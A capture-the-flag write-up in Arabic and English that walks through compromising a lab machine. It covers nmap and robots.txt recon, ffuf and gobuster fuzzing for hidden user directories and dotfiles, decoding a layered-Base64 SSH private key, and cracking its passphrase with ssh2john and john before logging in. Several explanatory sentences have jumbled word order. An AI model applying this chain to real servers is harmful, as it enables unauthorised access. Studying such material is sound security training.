Empire: LupinOne — Writeup

Target IP: `10.10.10.133` **Platform:** HackTheBox 2026 التاريخ: أغسطس

---

1. Reconnaissance (Nmap Scan)

الأمر

```
nmap -A 10.10.10.133 -oN nmap.txt
```

الشرح

- `-A` : تفعيل الـ Aggressive scan، وده بيعمل مع بعضه: OS detection + version detection + script scanning + traceroute في أمر واحد.
- `-oN nmap.txt` : يحفظ النتيجة في ملف نصي (Normal output) عشان نرجعله بعدين.

النتيجة

Port	Service	Version
22/tcp	SSH	OpenSSH 8.4p1 Debian
80/tcp	HTTP	Apache httpd 2.4.48 (Debian)

من ضمن نتائج الـ HTTP scripts، ظهر:

```
| http-robots.txt: 1 disallowed entry
|_/~myfiles
```

الاستنتاج: فيه ملف `robots.txt` بيكشف عن مسار مخفي اسمه `/~myfiles`، وده أول lead فيه للتحقيق.

---

2. فحص robots.txt والمسار المكتشف

الأمر

```
curl http://10.10.10.133/~myfiles/
```

النتيجة

صفحة **Error 404** مخصصة (custom error page)، مع كومنت HTML مخفي في الكود المصدري:

```
<!-- Your can do it, keep trying. -->
```

الشرح

- `mod_userdir` — module بيدي كل يوزر على Apache دلالة على الـ `~` قبل اسم المسار في السيستم مسار خاص بيه على شكل `http://server/~username/`.
- دليل إن حد عدّل السيرفر يدويًا وحط (Apache مش الافتراضية بتاعة) ظهور صفحة 404 مخصصة تلميحات مقصودة كجزء من التحدي.

---

3. Directory & File Enumeration داخل ~myfiles

الأوامر المستخدمة

```
gobuster dir -u http://10.10.10.133/~myfiles/ \
  -w /usr/share/wordlists/dirb/common.txt

gobuster dir -u http://10.10.10.133/~myfiles/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x txt,html,php
```

الشرح

- `dir`: وضع الـ enumeration الخاص بالمجلدات والملفات.
- `-u`: الـ URL المستهدف.
- `-w`: مسار الـ wordlist المستخدمة في التخمين.
- `-x`: امتدادات الملفات المطلوب تجربتها إضافة لاسم كل كلمة (txt, html, php).

النتيجة

```
.htpasswd    (403)
.hta         (403)
.htaccess    (403)
index.html   (200)
```

فحص محتوى `index.html`:

```
curl http://10.10.10.133/~myfiles/index.html
```

مش (فخ) **red herring** طلع نفس محتوى صفحة الـ 404 بالظبط (نفس الحجم 147 بايت) — يعني ده بيأكد إننا لسه محتاجين نوسّع البحث "keep trying" والتلميح، المسار الحقيقي.

---

4. اكتشاف مسار /~secret عن طريق Fuzzing على مستوى الـ Root

الأمر

```
ffuf -u http://10.10.10.133/~FUZZ \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
  -c -ic -fc 403
```

الشرح

- الفكرة هنا إننا مانبحتش بس جوه `~myfiles`، لكن جربنا نكتشف يوزرز تانيين عندهم مسارات شغال `mod_userdir`، بما إن root على مستوى الـ `~username`.
- `-c`: تفعيل الألوان في الإخراج.
- `-ic`: تجاهل التعليقات (comments) في الـ wordlist.
- `-fc 403`: فلترة (استبعاد) أي نتيجة برجع بحالة 403 Forbidden، عشان نركز بس على المسارات اللي فعلاً متاحة.

النتيجة

```
secret    [Status: 301]
```

فتح المسار (`http://10.10.10.133/~secret`) طلع رسالة نصية من مستخدم اسمه **icex64**:

> "Hello Friend, I'm happy that you found my secret directory, I created it like this to share with you my private SSH key file. It's hidden somewhere here, so that hackers don't find it and crack my passphrase with fasttrack. I'm smart, I know that."

نقاط مهمة من الرسالة **(Attacker Intelligence):**

1. فيه SSH private key متخبي جوه المسار ده.
2. المفتاح محمي بـ passphrase.
3. تلميح مباشر باستخدام wordlist اسمها `fasttrack` لفك الـ passphrase.
4. اسم اليوزر المرجح: `icex64`.

---

5. اكتشاف الملف المخفي (Hidden Dotfile) جوه /~secret

الأمر

```
ffuf -u http://10.10.10.133/~secret/.FUZZ \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
  -c -ic -fc 403 -e .txt,.html
```

الشرح

- `/~secret/.FUZZ` (نفسه URL في الـ `FUZZ` النقطة الأهم هنا: الـ `.` اتحطت قبل كلمة ، ودي معناه إن **hidden files** وهي مسبوقة بنقطة، يعني بيدور تحديدًا على wordlist كان بيجرب كل كلمة من الـ ffuf وبتكون مخفية من أدوات ، `.htaccess` أو `.bashrc` ملفات بتبدأ بنقطة في أنظمة لينكس، زي العرض العادية).
- الفكرة دي جت من تلميح الرسالة ("hidden somewhere here").
- `-e .txt,.html` : تجربة الامتدادات دي على كل كلمة.

النتيجة

```
mysecret.txt   [Status: 200, Size: 4689]
```

والمسار الفعلي الكامل على السيرفر: `/~secret/.mysecret.txt`

---

6. سحب وقراءة محتوى الملف المخفي

محاولة أولى (غلط)

```
curl http://10.10.10.133/~secret/mysecret.txt
```

❌ فشلت (404) لأن الملف اسمه الحقيقي `.mysecret.txt` (بنقطة قبله)، ومختلف تمامًا عن `mysecret.txt` بالنسبة للسيرفر.

الأمر الصحيح

```
curl http://10.10.10.133/~secret/.mysecret.txt
```

النتيجة

محتوى نصي طويل شكله عبارة عن **Base64-encoded data** بدون padding دليل على — واضح (`=`) كطبقة تمويه إضافية (متداخل/متكرر Base64) احتمال إنه اتشفّر أكتر من مرة.

---

7. فك تشفير الـ Base64 المتكرر (Decoding)

الأداة المستخدمة: CyberChef

الخطوات:

1. حط النص الكامل في خانة **Input**.
2. اسحب عملية `From Base64` لخانة الـ **Recipe**.
3. لو الناتج لسه شكله Base64 (نص عشوائي)، اسحب عملية `From Base64` وحطها تحت الأولى تانية.
4. كرر العملية لحد ما يظهر في الـ **Output** نص واضح يبدأ بـ:

```
-----BEGIN OPENSSH PRIVATE KEY-----
```

الشرح (ليه محتاجين نكرر الفك أكتر من مرة؟)

- Base64 هي عملية **Encoding** عكسية بالكامل (مش تشفير حقيقي)، فأي طبقة منها ممكن تتفك بضغطة زرار.
- صاحب الماشين طبّق العملية أكتر من مرة فوق بعض (Base64 داخل Base64) كطريقة تمويه بسيطة عشان يصعّب على أي أداة automated scanning تكتشف المحتوى الحقيقي على طول.

النتيجة النهائية

مفتاح SSH خاص كامل بصيغة **OpenSSH format**:

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp
...
-----END OPENSSH PRIVATE KEY-----
```

---

8. تجهيز المفتاح محليًا

الأوامر

```
nano id_rsa
# لصق محتوى المفتاح الكامل، ثم حفظ (Ctrl+O, Enter, Ctrl+X)

chmod 600 id_rsa
file id_rsa
```

الشرح

- `chmod 600` : بيدي صلاحية القراءة والكتابة لصاحب الملف بس. SSH أي بيرفض استخدام private key لو `Permissions too open` error صلاحياته مفتوحة أكتر من كده (لأسباب أمنية)، وهيديك ماعملتش الخطوة دي.
- `file id_rsa` : للتأكد إن الملف فعلاً معروف كـ `OpenSSH private key` قبل ما نكمل.

---

9. تحويل المفتاح لصيغة قابلة للـ Cracking

الأمر

```
ssh2john id_rsa > id_rsa_hash.txt
```

الشرح

- `ssh2john` : أداة من عائلة John the Ripper، وظيفتها تحويل ملف الـ private key المشفر بـ passphrase لصيغة "hash" يكسرها ويحاول يفهمها جون يقدر قياسية.
- الناتج بيّن إن المفتاح متشفر بـ:
  - **Cipher:** AES (aes256-cbc)
  - **KDF:** Bcrypt

  الـ Bcrypt معروفة بإنها بطيئة عمدًا (anti-bruteforce design)، فده بيأثر على سرعة أي محاولة تخمين.

---

10. كسر الـ Passphrase (Password Cracking)

المحاولة الأولى (بطيئة، اتلغت)

```
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
```

Rockyou فيها حوالي 14 مليون كلمة، وبالتزامن مع بطء bcrypt، العملية كانت هتاخد وقت طويل جدًا.

المحاولة الصحيحة (بناءً على تلميح **icex64**)

```
john --wordlist=/usr/share/wordlists/fasttrack.txt id_rsa_hash.txt
```

الشرح

- بشكل مباشر — ده مش تعبير عام، ده اسم **"fasttrack"** ذكرت كلمة icex64 الرسالة الأصلية من Kali Linux (`/usr/share/wordlists/fasttrack.txt`)، وهي صغيرة وحقيقي موجود جاهز في **wordlist**، فبتخلص في ثواني. جدًا مقارنة بـ rockyou.
- لازم تتقرا بحرفيتها — أي اسم أداة أو ملف مذكور CTF/HTB الدرس الأهم: التلميحات في الـ صراحة غالبًا بيشاور على حاجة حقيقية موجودة في بيئتك.

النتيجة

```
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [2=Bcrypt/AES]) is 2 for all loaded hashes
P@55w0rd!        (id_rsa)
1g 0:00:00:10 DONE
```

✅ الـ **Passphrase:** `P@55w0rd!`

التأكد من النتيجة

```
john --show id_rsa_hash.txt
```

---

11. الدخول على السيرفر عبر **SSH**

الأمر

```
ssh -i id_rsa icex64@10.10.10.133
```

الشرح

- `-i id_rsa` : تحديد ملف الـ private key (بدل استخدام كلمة سر عادية) المستخدم للمصادقة.
- بتاعة المفتاح (مش كلمة سر اليوزر على السيستم) — **passphrase** بيطلب الـ SSH، عند الاتصال وهي اللي كسرناها بـ John.
- `icex64` كان اسم اليوزر المرجح، مستنتج من توقيع الرسالة الأصلية ("Your best friend icex64").

النتيجة

✅ دخول ناجح على السيرفر كـ `icex64`، وتم الوصول للـ **User Flag**.

ملخص المسار الكامل (**Attack Chain**)

```
Nmap scan
  └─> اكتشاف robots.txt يكشف /~myfiles
        └─> فحص ~myfiles → تلميح + مخصصة 404 صفحة "keep trying"
              └─> Fuzzing على مستوى الـ root (~FUZZ) → اكتشاف /~secret
                    └─> رسالة من icex64 تكشف عن SSH key تلميح + مخفي fasttrack
                          └─> Fuzzing على hidden dotfiles → /~secret/.mysecret.txt
                                └─> محتوى Base64 بـ فك → متكرر CyberChef
                                      └─> استخراج OpenSSH Private Key
                                            └─> ssh2john لتحويله لـ hash
                                                  └─> John + fasttrack.txt → P@55w0rd!
                                                        └─> SSH login كـ icex64
                                                              └─> 🚩 User Flag
```

الدروس المستفادة (Key Takeaways)

1. اقرأ **robots.txt** دايمًا في مرحلة الـ recon — بيكشف مسارات المطورين مانوش عاوزين تتفهرس في محركات البحث، وده أحيانًا بيكون فيه معلومات حساسة.
2. `mod_userdir` (`~username`) بيفتح الباب لـ enumeration على مستوى المستخدمين مش بس المسارات — لازم تجرب fuzzing على النمط ده لو لقيته.
3. الملفات المخفية **(dotfiles)** محتاجة تقنية fuzzing مختلفة (كجزء ثابت من الـ URL قبل الـ FUZZ keyword) تحط `.`.
4. التمويه بتكرار **Base64** حيلة بسيطة لكن فعّالة ضد automated scanners — الحل بسيط: فك متكرر لحد ما توصل للنص الحقيقي.
5. أي اسم أداة أو wordlist مذكور صراحة في CTF غالبًا بيشاور مباشرة — اقرأ التلميحات بحرفيتها على حاجة موجودة فعليًا في بيئتك، ومش لازم تخمن أو تستخدم rockyou افتراضيًا.
6. **Bcrypt-based KDFs** استخدام wordlist بطيئة عمدًا — مستهدفة وصغيرة بيوفر وقت هائل مقارنة بـ wordlists عامة وضخمة.